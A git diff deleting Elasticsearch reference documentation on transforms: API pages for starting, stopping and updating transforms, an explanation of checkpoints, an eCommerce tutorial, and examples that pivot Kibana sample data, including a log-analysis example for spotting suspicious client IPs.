-  "source": {
-    "index": "kibana_sample_data_ecommerce",
-    "query": {
-      "term": {
-        "geoip.continent_name": {
-          "value": "Asia"
-        }
-      }
-    }
-  },
-  "pivot": {
-    "group_by": {
-      "customer_id": {
-        "terms": {
-          "field": "customer_id"
-        }
-      }
-    },
-    "aggregations": {
-      "max_price": {
-        "max": {
-          "field": "taxful_total_price"
-        }
-      }
-    }
-  },
-  "description": "Maximum priced ecommerce data by customer_id in Asia",
-  "dest": {
-    "index": "kibana_sample_data_ecommerce_transform",
-    "pipeline": "add_timestamp_pipeline"
-  },
-  "frequency": "5m",
-  "sync": {
-    "time": {
-      "field": "order_date",
-      "delay": "60s"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:kibana_sample_data_ecommerce,add_timestamp_pipeline]
-
-When the {transform} is created, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
diff --git a/docs/reference/transform/apis/start-transform.asciidoc b/docs/reference/transform/apis/start-transform.asciidoc
deleted file mode 100644
index 085539c6835..00000000000
--- a/docs/reference/transform/apis/start-transform.asciidoc
+++ /dev/null
@@ -1,76 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[start-transform]]
-= Start {transform} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Start {transform}</titleabbrev>
-++++
-
-Starts one or more {transforms}.
-
-[[start-transform-request]]
-== {api-request-title}
-
-`POST _transform/<transform_id>/_start`
-
-[[start-transform-prereqs]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-built-in roles and privileges:
-
-* `manage_transform`
-* source index: `view_index_metadata`  
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-
-[[start-transform-desc]]
-== {api-description-title}
-
-When you start a {transform}, it creates the destination index if it
-does not already exist. The `number_of_shards` is set to `1` and the
-`auto_expand_replicas` is set to `0-1`.
-
-The {transform} deduces the mapping definitions from the source indices. For
-scripted fields, it uses <<dynamic-mapping,dynamic mappings>>. If a field in the
-destination index is created by `scripted_metric` or `bucket_script`
-aggregations, the {transform} uses dynamic mappings unless a template exists or
-the destination index already exists. Mapping definitions in the destination
-index take precedence over dynamic mappings and templates.
-
-When the {transform} starts, a series of validations occur to ensure
-its success. If you deferred validation when you created the
-{transform}, they occur when you start the {transform}--with the
-exception of privilege checks. When {es} {security-features} are enabled, the
-{transform} remembers which roles the user that created it had at the
-time of creation and uses those same roles. If those roles do not have the
-required privileges on the source and destination indices, the
-{transform} fails when it attempts unauthorized operations.
-
-[[start-transform-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-[[start-transform-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _transform/ecommerce_transform/_start
---------------------------------------------------
-// TEST[skip:set up kibana samples]
-
-When the {transform} starts, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
diff --git a/docs/reference/transform/apis/stop-transform.asciidoc b/docs/reference/transform/apis/stop-transform.asciidoc
deleted file mode 100644
index 66c4a4fb90c..00000000000
--- a/docs/reference/transform/apis/stop-transform.asciidoc
+++ /dev/null
@@ -1,107 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[stop-transform]]
-= Stop {transforms} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Stop {transforms}</titleabbrev>
-++++
-
-Stops one or more {transforms}.
-
-
-[[stop-transform-request]]
-== {api-request-title}
-
-`POST _transform/<transform_id>/_stop` +
-
-`POST _transform/<transform_id1>,<transform_id2>/_stop` +
-
-`POST _transform/_all/_stop`
-
-
-[[stop-transform-prereq]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-built-in roles and privileges:
-
-* `manage_transform` 
-
-The built-in `transform_admin` role has this privilege. 
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-
-[[stop-transform-desc]]
-== {api-description-title}
-
-You can stop multiple {transforms} in a single API request by using a
-comma-separated list of {transforms} or a wildcard expression.
-All {transforms} can be stopped by using `_all` or `*` as the
-`<transform_id>`.
-
-
-[[stop-transform-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-[[stop-transform-query-parms]]
-== {api-query-parms-title}
-
-`allow_no_match`::
-(Optional, Boolean)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-match-transforms2]
-
-`force`::
-  (Optional, Boolean) Set to `true` to stop a failed {transform} or to 
-  forcefully stop a {transform} that did not respond to the initial stop 
-  request.
-
-`timeout`::
-  (Optional, time value) If `wait_for_completion=true`, the API blocks for (at
-  maximum) the specified duration while waiting for the {transform} to stop. If
-  more than `timeout` time has passed, the API throws a timeout exception. Even
-  if a timeout exception is thrown, the stop request is still processing and
-  eventually moves the {transform} to `STOPPED`. The timeout simply means the API
-  call itself timed out while waiting for the status change. Defaults to `30s`
-
-`wait_for_completion`::
-  (Optional, Boolean) If set to `true`, causes the API to block until the indexer 
-  state completely stops. If set to `false`, the API returns immediately and the
-  indexer will be stopped asynchronously in the background. Defaults to `false`.
-
-`wait_for_checkpoint`::
-  (Optional, Boolean) If set to `true`, the transform will not completely stop
-  until the current checkpoint is completed. If set to `false`, the {transform}
-  stops as soon as possible. Defaults to `false`.
-
-[[stop-transform-response-codes]]
-== {api-response-codes-title}
-
-`404` (Missing resources)::
-  If `allow_no_match` is `false`, this code indicates that there are no
-  resources that match the request or only partial matches for the request. 
-
-
-[[stop-transform-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _transform/ecommerce_transform/_stop
---------------------------------------------------
-// TEST[skip:set up kibana samples]
-
-When the {transform} stops, you receive the following results:
-
-[source,console-result]
-----
-{
-  "acknowledged" : true
-}
-----
diff --git a/docs/reference/transform/apis/transform-apis.asciidoc b/docs/reference/transform/apis/transform-apis.asciidoc
deleted file mode 100644
index b44c5f4970b..00000000000
--- a/docs/reference/transform/apis/transform-apis.asciidoc
+++ /dev/null
@@ -1,13 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[transform-apis]]
-= {transform-cap} APIs
-
-* <<put-transform>> 
-* <<delete-transform>>
-* <<get-transform>>
-* <<get-transform-stats>>
-* <<preview-transform>>
-* <<start-transform>>
-* <<stop-transform>>
-* <<update-transform>>
diff --git a/docs/reference/transform/apis/update-transform.asciidoc b/docs/reference/transform/apis/update-transform.asciidoc
deleted file mode 100644
index be1ebbc38c1..00000000000
--- a/docs/reference/transform/apis/update-transform.asciidoc
+++ /dev/null
@@ -1,262 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[update-transform]]
-= Update {transform} API
-
-[subs="attributes"]
-++++
-<titleabbrev>Update {transform}</titleabbrev>
-++++
-
-Updates certain properties of a {transform}.
-
-[[update-transform-request]]
-== {api-request-title}
-
-`POST _transform/<transform_id>/_update`
-
-[[update-transform-prereqs]]
-== {api-prereq-title}
-
-If the {es} {security-features} are enabled, you must have the following 
-built-in roles and privileges:
-
-* `transform_admin`
-
-* `manage_transform` (the built-in `transform_admin` role has this privilege)
-* source index: `read`, `view_index_metadata`
-* destination index: `read`, `create_index`, `index`
-
-For more information, see <<security-privileges>> and <<built-in-roles>>.
-
-
-[[update-transform-desc]]
-== {api-description-title}
-
-This API updates an existing {transform}. The list of properties that you can
-update is a subset of the list that you can define when you create a {transform}.
-
-When the {transform} is updated, a series of validations occur to ensure its
-success. You can use the `defer_validation` parameter to skip these checks.
-
-All updated properties except description do not take effect until after the
-{transform} starts the next checkpoint. This is so there is consistency with the
-pivoted data in each checkpoint.
-
-[IMPORTANT]
-====
-
-* When {es} {security-features} are enabled, your {transform} remembers which
-roles the user who updated it had at the time of update and runs with those
-privileges.
-* You must use {kib} or this API to update a {transform}. Do not update a
-{transform} directly via `.transform-internal*` indices using the {es} index API.
-If {es} {security-features} are enabled, do not give users any privileges on
-`.transform-internal*` indices. If you used {transforms} prior 7.5, also do not
-give users any privileges on `.data-frame-internal*` indices.
-
-====
-
-[[update-transform-path-parms]]
-== {api-path-parms-title}
-
-`<transform_id>`::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-id]
-
-[[update-transform-query-parms]]
-== {api-query-parms-title}
-
-`defer_validation`::
-  (Optional, Boolean) When `true`, deferrable validations are not run. This
-  behavior may be desired if the source index does not exist until after the
-  {transform} is updated.
-
-[role="child_attributes"]
-[[update-transform-request-body]]
-== {api-request-body-title}
-
-`description`::
-  (Optional, string) Free text description of the {transform}.
-
-//Begin dest
-`dest`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest]
-+
-.Properties of `dest`
-[%collapsible%open]
-====
-
-`index`:::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-index]
-
-`pipeline`:::
-(Optional, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=dest-pipeline]
-====
-//End dest
-
-`frequency`::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=frequency]
-
-//Begin settings
-`settings`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings]
-+
-.Properties of `settings`
-[%collapsible%open]
-====
-`docs_per_second`:::
-(Optional, float)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-docs-per-second]
-`max_page_search_size`:::
-(Optional, integer)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=transform-settings-max-page-search-size]
-====
-//End settings
-
-//Begin source
-`source`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-transforms]
-+
-.Properties of `source`
-[%collapsible%open]
-====
-
-`index`:::
-(Required, string or array)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-index-transforms]
-    
-`query`:::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=source-query-transforms]
-====
-//End source
-
-//Begin sync
-`sync`::
-(Optional, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync]
-+
-.Properties of `sync`
-[%collapsible%open]
-====
-
-//Begin sync.time
-`time`:::
-(Required, object)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time]
-+
-.Properties of `time`
-[%collapsible%open]
-=====
-
-`delay`::::
-(Optional, <<time-units, time units>>)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-delay]
-
-`field`::::
-(Required, string)
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=sync-time-field]
-+
---
-TIP: In general, it’s a good idea to use a field that contains the
-<<accessing-ingest-metadata,ingest timestamp>>. If you use a different field,
-you might need to set the `delay` such that it accounts for data transmission
-delays.
-
---
-=====
-//End sync.time
-====
-//End sync
-
-[[update-transform-example]]
-== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-POST _transform/simple-kibana-ecomm-pivot/_update
-{
-  "source": {
-    "index": "kibana_sample_data_ecommerce",
-    "query": {
-      "term": {
-        "geoip.continent_name": {
-          "value": "Asia"
-        }
-      }
-    }
-  },
-  "description": "Maximum priced ecommerce data by customer_id in Asia",
-  "dest": {
-    "index": "kibana_sample_data_ecommerce_transform_v2",
-    "pipeline": "add_timestamp_pipeline"
-  },
-  "frequency": "15m",
-  "sync": {
-    "time": {
-      "field": "order_date",
-      "delay": "120s"
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:simple_kibana_continuous_pivot]
-
-When the {transform} is updated, you receive the updated configuration:
-
-[source,console-result]
-----
-{
-  "id": "simple-kibana-ecomm-pivot",
-  "source": {
-    "index": ["kibana_sample_data_ecommerce"],
-    "query": {
-      "term": {
-        "geoip.continent_name": {
-          "value": "Asia"
-        }
-      }
-    }
-  },
-  "pivot": {
-    "group_by": {
-      "customer_id": {
-        "terms": {
-          "field": "customer_id"
-        }
-      }
-    },
-    "aggregations": {
-      "max_price": {
-        "max": {
-          "field": "taxful_total_price"
-        }
-      }
-    }
-  },
-  "description": "Maximum priced ecommerce data by customer_id in Asia",
-  "dest": {
-    "index": "kibana_sample_data_ecommerce_transform_v2",
-    "pipeline": "add_timestamp_pipeline"
-  },
-  "frequency": "15m",
-  "sync": {
-    "time": {
-      "field": "order_date",
-      "delay": "120s"
-    }
-  },
-  "settings": { },
-  "version": "7.5.0",
-  "create_time": 1518808660505
-}
-----
-// TESTRESPONSE[s/"version": "7.5.0"/"version": $body.version/]
-// TESTRESPONSE[s/"create_time": 1518808660505/"create_time": $body.create_time/]
diff --git a/docs/reference/transform/checkpoints.asciidoc b/docs/reference/transform/checkpoints.asciidoc
deleted file mode 100644
index b11909734d7..00000000000
--- a/docs/reference/transform/checkpoints.asciidoc
+++ /dev/null
@@ -1,82 +0,0 @@
-[role="xpack"]
-[[transform-checkpoints]]
-= How {transform} checkpoints work
-++++
-<titleabbrev>How checkpoints work</titleabbrev>
-++++
-
-Each time a {transform} examines the source indices and creates or
-updates the destination index, it generates a _checkpoint_.
-
-If your {transform} runs only once, there is logically only one
-checkpoint. If your {transform} runs continuously, however, it creates
-checkpoints as it ingests and transforms new source data.
-
-To create a checkpoint, the {ctransform}:
-
-. Checks for changes to source indices.
-+
-Using a simple periodic timer, the {transform} checks for changes to
-the source indices. This check is done based on the interval defined in the
-transform's `frequency` property.
-+
-If the source indices remain unchanged or if a checkpoint is already in progress
-then it waits for the next timer.
-
-. Identifies which entities have changed.
-+
-The {transform} searches to see which entities have changed since the
-last time it checked. The `sync` configuration object in the {transform}
-identifies a time field in the source indices. The {transform} uses the values
-in that field to synchronize the source and destination indices.
- 
-. Updates the destination index (the {dataframe}) with the changed entities.
-+
---
-The {transform} applies changes related to either new or changed
-entities to the destination index. The set of changed entities is paginated. For
-each page, the {transform} performs a composite aggregation using a
-`terms` query. After all the pages of changes have been applied, the checkpoint
-is complete.
---
-
-This checkpoint process involves both search and indexing activity on the
-cluster. We have attempted to favor control over performance while developing
-{transforms}. We decided it was preferable for the
-{transform} to take longer to complete, rather than to finish quickly
-and take precedence in resource consumption. That being said, the cluster still
-requires enough resources to support both the composite aggregation search and
-the indexing of its results. 
-
-TIP: If the cluster experiences unsuitable performance degradation due to the
-{transform}, stop the {transform} and refer to <<transform-performance>>.
-
-[discrete]
-[[ml-transform-checkpoint-errors]]
-== Error handling
-
-Failures in {transforms} tend to be related to searching or indexing.
-To increase the resiliency of {transforms}, the cursor positions of
-the aggregated search and the changed entities search are tracked in memory and
-persisted periodically.
-
-Checkpoint failures can be categorized as follows:
-
-* Temporary failures: The checkpoint is retried. If 10 consecutive failures
-occur, the {transform} has a failed status. For example, this
-situation might occur when there are shard failures and queries return only
-partial results.
-* Irrecoverable failures: The {transform} immediately fails. For
-example, this situation occurs when the source index is not found.
-* Adjustment failures: The {transform} retries with adjusted settings.
-For example, if a parent circuit breaker memory errors occur during the
-composite aggregation, the {transform} receives partial results. The aggregated
-search is retried with a smaller number of buckets. This retry is performed at
-the interval defined in the `frequency` property for the {transform}. If the
-search is retried to the point where it reaches a minimal number of buckets, an
-irrecoverable failure occurs.
-
-If the node running the {transforms} fails, the {transform} restarts
-from the most recent persisted cursor position. This recovery process might
-repeat some of the work the {transform} had already done, but it ensures data
-consistency.
diff --git a/docs/reference/transform/ecommerce-tutorial.asciidoc b/docs/reference/transform/ecommerce-tutorial.asciidoc
deleted file mode 100644
index 76417344407..00000000000
--- a/docs/reference/transform/ecommerce-tutorial.asciidoc
+++ /dev/null
@@ -1,265 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ecommerce-transforms]]
-= Tutorial: Transforming the eCommerce sample data
-
-<<transforms,{transforms-cap}>> enable you to retrieve information
-from an {es} index, transform it, and store it in another index. Let's use the
-{kibana-ref}/add-sample-data.html[{kib} sample data] to demonstrate how you can
-pivot and summarize your data with {transforms}.
-
-. Verify that your environment is set up properly to use {transforms}. If the
-{es} {security-features} are enabled, to complete this tutorial you need a user
-that has authority to preview and create {transforms}. You must also have
-specific index privileges for the source and destination indices. See
-<<transform-setup>>.
-
-. Choose your _source index_.
-+
---
-In this example, we'll use the eCommerce orders sample data. If you're not
-already familiar with the `kibana_sample_data_ecommerce` index, use the
-*Revenue* dashboard in {kib} to explore the data. Consider what insights you
-might want to derive from this eCommerce data.
---
-
-. Play with various options for grouping and aggregating the data. 
-+
---
-_Pivoting_ your data involves using at least one field to group it and applying
-at least one aggregation. You can preview what the transformed data will look
-like, so go ahead and play with it! You can also enable histogram charts to get
-a better understanding of the distribution of values in your data.
-
-For example, you might want to group the data by product ID and calculate the
-total number of sales for each product and its average price. Alternatively, you
-might want to look at the behavior of individual customers and calculate how
-much each customer spent in total and how many different categories of products
-they purchased. Or you might want to take the currencies or geographies into
-consideration. What are the most interesting ways you can transform and
-interpret this data?
-
-Go to *Management* > *Stack Management* > *Data* > *Transforms* in {kib} and use
-the wizard to create a {transform}:
-
-[role="screenshot"]
-image::images/ecommerce-pivot1.png["Creating a simple {transform} in {kib}"]
-
-In this case, we grouped the data by customer ID and calculated the sum of
-products each customer purchased.
-
-Let's add some more aggregations to learn more about our customers' orders. For
-example, let's calculate the total sum of their purchases, the maximum number of
-products that they purchased in a single order, and their total number of orders.
-We'll accomplish this by using the
-<<search-aggregations-metrics-sum-aggregation,`sum` aggregation>> on the
-`taxless_total_price` field, the
-<<search-aggregations-metrics-max-aggregation,`max` aggregation>> on the
-`total_quantity` field, and the
-<<search-aggregations-metrics-cardinality-aggregation,`cardinality` aggregation>>
-on the `order_id` field:
-
-[role="screenshot"]
-image::images/ecommerce-pivot2.png["Adding multiple aggregations to a {transform} in {kib}"]
-
-TIP: If you're interested in a subset of the data, you can optionally include a
-<<request-body-search-query,query>> element. In this
-example, we've filtered the data so that we're only looking at orders with a
-`currency` of `EUR`. Alternatively, we could group the data by that field too.
-If you want to use more complex queries, you can create your {dataframe} from a
-{kibana-ref}/save-open-search.html[saved search].
-
-If you prefer, you can use the
-<<preview-transform,preview {transforms} API>>.
-
-.API example
-[%collapsible]
-====
-[source,console]
---------------------------------------------------
-POST _transform/_preview
-{
-  "source": {
-    "index": "kibana_sample_data_ecommerce",
-    "query": {
-      "bool": {
-        "filter": {
-          "term": {"currency": "EUR"}
-        }
-      }
-    }
-  },
-  "pivot": {
-    "group_by": {
-      "customer_id": {
-        "terms": {
-          "field": "customer_id"
-        }
-      }
-    },
-    "aggregations": {
-      "total_quantity.sum": {
-        "sum": {
-          "field": "total_quantity"
-        }
-      },
-      "taxless_total_price.sum": {
-        "sum": {
-          "field": "taxless_total_price"
-        }
-      },
-      "total_quantity.max": {
-        "max": {
-          "field": "total_quantity"
-        }
-      },
-      "order_id.cardinality": {
-        "cardinality": {
-          "field": "order_id"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[skip:set up sample data]
-====
---
-
-. When you are satisfied with what you see in the preview, create the
-{transform}. 
-+
---
-.. Supply a job ID and the name of the target (or _destination_) index. If the
-target index does not exist, it will be created automatically.
-
-.. Decide whether you want the {transform} to run once or continuously.
---
-+
---
-Since this sample data index is unchanging, let's use the default behavior and
-just run the {transform} once.
-
-If you want to try it out, however, go ahead and click on *Continuous mode*. 
-You must choose a field that the {transform} can use to check which
-entities have changed. In general, it's a good idea to use the ingest timestamp
-field. In this example, however, you can use the `order_date` field.
-
-If you prefer, you can use the
-<<put-transform,create {transforms} API>>.
-
-.API example
-[%collapsible]
-====
-[source,console]
---------------------------------------------------
-PUT _transform/ecommerce-customer-transform
-{
-  "source": {
-    "index": [
-      "kibana_sample_data_ecommerce"
-    ],
-    "query": {
-      "bool": {
-        "filter": {
-          "term": {
-            "currency": "EUR"
-          }
-        }
-      }
-    }
-  },
-  "pivot": {
-    "group_by": {
-      "customer_id": {
-        "terms": {
-          "field": "customer_id"
-        }
-      }
-    },
-    "aggregations": {
-      "total_quantity.sum": {
-        "sum": {
-          "field": "total_quantity"
-        }
-      },
-      "taxless_total_price.sum": {
-        "sum": {
-          "field": "taxless_total_price"
-        }
-      },
-      "total_quantity.max": {
-        "max": {
-          "field": "total_quantity"
-        }
-      },
-      "order_id.cardinality": {
-        "cardinality": {
-          "field": "order_id"
-        }
-      }
-    }
-  },
-  "dest": {
-    "index": "ecommerce-customers"
-  }
-}
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-====
---
-
-. Start the {transform}.
-+
---
-
-TIP: Even though resource utilization is automatically adjusted based on the
-cluster load, a {transform} increases search and indexing load on your
-cluster while it runs. If you're experiencing an excessive load, however, you
-can stop it.
-
-You can start, stop, and manage {transforms} in {kib}:
-
-[role="screenshot"]
-image::images/manage-transforms.png["Managing {transforms} in {kib}"]
-
-Alternatively, you can use the
-<<start-transform,start {transforms}>> and
-<<stop-transform,stop {transforms}>> APIs.
-
-.API example
-[%collapsible]
-====
-[source,console]
---------------------------------------------------
-POST _transform/ecommerce-customer-transform/_start
---------------------------------------------------
-// TEST[skip:setup kibana sample data]
-====
-
-TIP: If you chose a batch {transform}, it is a single operation that has a
-single checkpoint. You cannot restart it when it's complete. {ctransforms-cap}
-differ in that they continually increment and process checkpoints as new source
-data is ingested.
-
---
-
-. Explore the data in your new index.
-+
---
-For example, use the *Discover* application in {kib}:
-
-[role="screenshot"]
-image::images/ecommerce-results.png["Exploring the new index in {kib}"]
-
---
-
-TIP: If you do not want to keep the {transform}, you can delete it in
-{kib} or use the
-<<delete-transform,delete {transform} API>>. When
-you delete a {transform}, its destination index and {kib} index
-patterns remain.
-
-Now that you've created a simple {transform} for {kib} sample data, consider
-possible use cases for your own data. For more ideas, see
-<<transform-usage>> and <<transform-examples>>.
diff --git a/docs/reference/transform/examples.asciidoc b/docs/reference/transform/examples.asciidoc
deleted file mode 100644
index 3a73f696e3a..00000000000
--- a/docs/reference/transform/examples.asciidoc
+++ /dev/null
@@ -1,338 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[transform-examples]]
-= {transform-cap} examples
-++++
-<titleabbrev>Examples</titleabbrev>
-++++
-
-These examples demonstrate how to use {transforms} to derive useful 
-insights from your data. All the examples use one of the 
-{kibana-ref}/add-sample-data.html[{kib} sample datasets]. For a more detailed, 
-step-by-step example, see 
-<<ecommerce-transforms>>.
-
-* <<example-best-customers>>
-* <<example-airline>>
-* <<example-clientips>>
-
-[[example-best-customers]]
-== Finding your best customers
-
-In this example, we use the eCommerce orders sample dataset to find the 
-customers who spent the most in our hypothetical webshop. Let's transform the 
-data such that the destination index contains the number of orders, the total 
-price of the orders, the amount of unique products and the average price per 
-order, and the total amount of ordered products for each customer.
-
-[source,console]
-----------------------------------
-POST _transform/_preview
-{
-  "source": {
-    "index": "kibana_sample_data_ecommerce"
-  },
-  "dest" : { <1>
-    "index" : "sample_ecommerce_orders_by_customer"
-  },
-  "pivot": {
-    "group_by": { <2>
-      "user": { "terms": { "field": "user" }}, 
-      "customer_id": { "terms": { "field": "customer_id" }}
-    },
-    "aggregations": {
-      "order_count": { "value_count": { "field": "order_id" }},
-      "total_order_amt": { "sum": { "field": "taxful_total_price" }},
-      "avg_amt_per_order": { "avg": { "field": "taxful_total_price" }},
-      "avg_unique_products_per_order": { "avg": { "field": "total_unique_products" }},
-      "total_unique_products": { "cardinality": { "field": "products.product_id" }}
-    }
-  }
-}
-----------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> This is the destination index for the {transform}. It is ignored by
-`_preview`.
-<2> Two `group_by` fields have been selected. This means the {transform} will
-contain a unique row per `user` and `customer_id` combination. Within this
-dataset both these fields are unique. By including both in the {transform} it
-gives more context to the final results.
-
-NOTE: In the example above, condensed JSON formatting has been used for easier 
-readability of the pivot object.
-
-The preview {transforms} API enables you to see the layout of the
-{transform} in advance, populated with some sample values. For example:
-
-[source,js]
-----------------------------------
-{
-  "preview" : [
-    {
-      "total_order_amt" : 3946.9765625,
-      "order_count" : 59.0,
-      "total_unique_products" : 116.0,
-      "avg_unique_products_per_order" : 2.0,
-      "customer_id" : "10",
-      "user" : "recip",
-      "avg_amt_per_order" : 66.89790783898304
-    },
-    ...
-    ]
-  }
-----------------------------------
-// NOTCONSOLE
-
-This {transform} makes it easier to answer questions such as:
-
-* Which customers spend the most?
-
-* Which customers spend the most per order?
-
-* Which customers order most often?
-
-* Which customers ordered the least number of different products?
-
-It's possible to answer these questions using aggregations alone, however 
-{transforms} allow us to persist this data as a customer centric index. This 
-enables us to analyze data at scale and gives more flexibility to explore and 
-navigate data from a customer centric perspective. In some cases, it can even 
-make creating visualizations much simpler.
-
-[[example-airline]]
-== Finding air carriers with the most delays
-
-In this example, we use the Flights sample dataset to find out which air carrier 
-had the most delays. First, we filter the source data such that it excludes all 
-the cancelled flights by using a query filter. Then we transform the data to 
-contain the distinct number of flights, the sum of delayed minutes, and the sum 
-of the flight minutes by air carrier. Finally, we use a 
-<<search-aggregations-pipeline-bucket-script-aggregation,`bucket_script`>>
-to determine what percentage of the flight time was actually delay.
-
-[source,console]
-----------------------------------
-POST _transform/_preview
-{
-  "source": {
-    "index": "kibana_sample_data_flights",
-    "query": { <1>
-      "bool": {
-        "filter": [
-          { "term":  { "Cancelled": false } }
-        ]
-      }
-    }
-  },
-  "dest" : { <2>
-    "index" : "sample_flight_delays_by_carrier"
-  },
-  "pivot": {
-    "group_by": { <3>
-      "carrier": { "terms": { "field": "Carrier" }}
-    },
-    "aggregations": {
-      "flights_count": { "value_count": { "field": "FlightNum" }},
-      "delay_mins_total": { "sum": { "field": "FlightDelayMin" }},
-      "flight_mins_total": { "sum": { "field": "FlightTimeMin" }},
-      "delay_time_percentage": { <4>
-        "bucket_script": {
-          "buckets_path": {
-            "delay_time": "delay_mins_total.value",
-            "flight_time": "flight_mins_total.value"
-          },
-          "script": "(params.delay_time / params.flight_time) * 100"
-        }
-      }
-    }
-  }
-}
-----------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> Filter the source data to select only flights that were not cancelled.
-<2> This is the destination index for the {transform}. It is ignored by
-`_preview`.
-<3> The data is grouped by the `Carrier` field which contains the airline name.
-<4> This `bucket_script` performs calculations on the results that are returned 
-by the aggregation. In this particular example, it calculates what percentage of 
-travel time was taken up by delays.
-
-The preview shows you that the new index would contain data like this for each 
-carrier:
-
-[source,js]
-----------------------------------
-{
-  "preview" : [
-    {
-      "carrier" : "ES-Air",
-      "flights_count" : 2802.0,
-      "flight_mins_total" : 1436927.5130677223,
-      "delay_time_percentage" : 9.335543983955839,
-      "delay_mins_total" : 134145.0
-    },
-    ...
-  ]
-}
-----------------------------------
-// NOTCONSOLE
-
-This {transform} makes it easier to answer questions such as:
-
-* Which air carrier has the most delays as a percentage of flight time?
-
-NOTE: This data is fictional and does not reflect actual delays 
-or flight stats for any of the featured destination or origin airports.
-
-
-[[example-clientips]]
-== Finding suspicious client IPs
-
-In this example, we use the web log sample dataset to identify suspicious client 
-IPs. We transform the data such that the new index contains the sum of bytes and 
-the number of distinct URLs, agents, incoming requests by location, and 
-geographic destinations for each client IP. We also use filter aggregations to 
-count the specific types of HTTP responses that each client IP receives. 
-Ultimately, the example below transforms web log data into an entity centric 
-index where the entity is `clientip`.
-
-[source,console]
-----------------------------------
-PUT _transform/suspicious_client_ips
-{
-  "source": {
-    "index": "kibana_sample_data_logs"
-  },
-  "dest" : { <1>
-    "index" : "sample_weblogs_by_clientip"
-  },
-  "sync" : { <2>
-    "time": {
-      "field": "timestamp",
-      "delay": "60s"
-    }
-  },
-  "pivot": {
-    "group_by": {  <3>
-      "clientip": { "terms": { "field": "clientip" } }
-      },
-    "aggregations": {
-      "url_dc": { "cardinality": { "field": "url.keyword" }},
-      "bytes_sum": { "sum": { "field": "bytes" }},
-      "geo.src_dc": { "cardinality": { "field": "geo.src" }},
-      "agent_dc": { "cardinality": { "field": "agent.keyword" }},
-      "geo.dest_dc": { "cardinality": { "field": "geo.dest" }},
-      "responses.total": { "value_count": { "field": "timestamp" }},
-      "success" : { <4>
-         "filter": { 
-            "term": { "response" : "200"}} 
-        },
-      "error404" : {
-         "filter": { 
-            "term": { "response" : "404"}}
-        },
-      "error503" : {
-         "filter": { 
-            "term": { "response" : "503"}}
-        },
-      "timestamp.min": { "min": { "field": "timestamp" }},
-      "timestamp.max": { "max": { "field": "timestamp" }},
-      "timestamp.duration_ms": { <5>
-        "bucket_script": {
-          "buckets_path": {
-            "min_time": "timestamp.min.value",
-            "max_time": "timestamp.max.value"
-          },
-          "script": "(params.max_time - params.min_time)"
-        }
-      }
-    }
-  }
-}
-----------------------------------
-// TEST[skip:setup kibana sample data]
-
-<1> This is the destination index for the {transform}.
-<2> Configures the {transform} to run continuously. It uses the `timestamp` field
-to synchronize the source and destination indices. The worst case
-ingestion delay is 60 seconds.
-<3> The data is grouped by the `clientip` field.
-<4> Filter aggregation that counts the occurrences of successful (`200`) 
-responses in the `response` field. The following two aggregations (`error404` 
-and `error503`) count the error responses by error codes.
-<5> This `bucket_script` calculates the duration of the `clientip` access based
-on the results of the aggregation.
-
-
-After you create the {transform}, you must start it:
-
-[source,console]
-----------------------------------
-POST _transform/suspicious_client_ips/_start
-----------------------------------
-// TEST[skip:setup kibana sample data]
-
-
-Shortly thereafter, the first results should be available in the destination
-index:
-
-[source,console]
-----------------------------------
-GET sample_weblogs_by_clientip/_search
-----------------------------------
-// TEST[skip:setup kibana sample data]
-
-
-The search result shows you data like this for each client IP:
-
-[source,js]
-----------------------------------
-    "hits" : [
-      {
-        "_index" : "sample_weblogs_by_clientip",
-        "_id" : "MOeHH_cUL5urmartKj-b5UQAAAAAAAAA",
-        "_score" : 1.0,
-        "_source" : {
-          "geo" : {
-            "src_dc" : 2.0,
